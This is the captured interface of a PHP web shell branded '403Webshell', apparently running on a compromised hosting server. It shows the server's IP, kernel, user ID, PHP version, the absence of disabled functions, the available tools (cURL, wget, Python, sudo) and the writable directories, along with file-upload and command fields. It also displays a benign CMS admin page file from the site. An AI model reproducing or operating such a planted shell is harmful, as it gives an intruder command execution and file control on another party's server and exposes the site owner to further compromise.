403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /test2.famaresto/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /test2.famaresto/admin/pages.php
<?php
require_once __DIR__ . '/../inc/pages.php';
cms_require_login();

cms_layout_header('Strony / działy');
$pages = cms_list_pages();
?>
<div class="card">
  <h1>Strony / działy</h1>
  <div class="muted">Tu zarządzasz stronami typu Administracyjne / Granty / Sieć itd. Najpierw zrób import z istniejących plików HTML.</div>

  <div class="actions">
    <a class="btn secondary" href="/admin/import.php">Import z istniejących HTML</a>
    <a class="btn" href="/admin/page_edit.php?slug=adm">Edytuj: adm</a>
  </div>

  <table style="margin-top:12px">
    <thead><tr><th>Slug</th><th>Tytuł</th><th>Aktualizacja</th><th>Akcje</th></tr></thead>
    <tbody>
    <?php if (count($pages) === 0): ?>
      <tr><td colspan="4" class="muted">Brak stron. Użyj importu.</td></tr>
    <?php else: foreach ($pages as $p): ?>
      <tr>
        <td><code><?= cms_h($p['slug']) ?></code></td>
        <td><?= cms_h($p['title']) ?></td>
        <td class="muted"><?= cms_h($p['updated_at'] ?: '-') ?></td>
        <td>
          <a class="btn" style="padding:6px 10px" href="/admin/page_edit.php?slug=<?= urlencode($p['slug']) ?>">Edytuj</a>
        </td>
      </tr>
    <?php endforeach; endif; ?>
    </tbody>
  </table>
</div>
<?php cms_layout_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit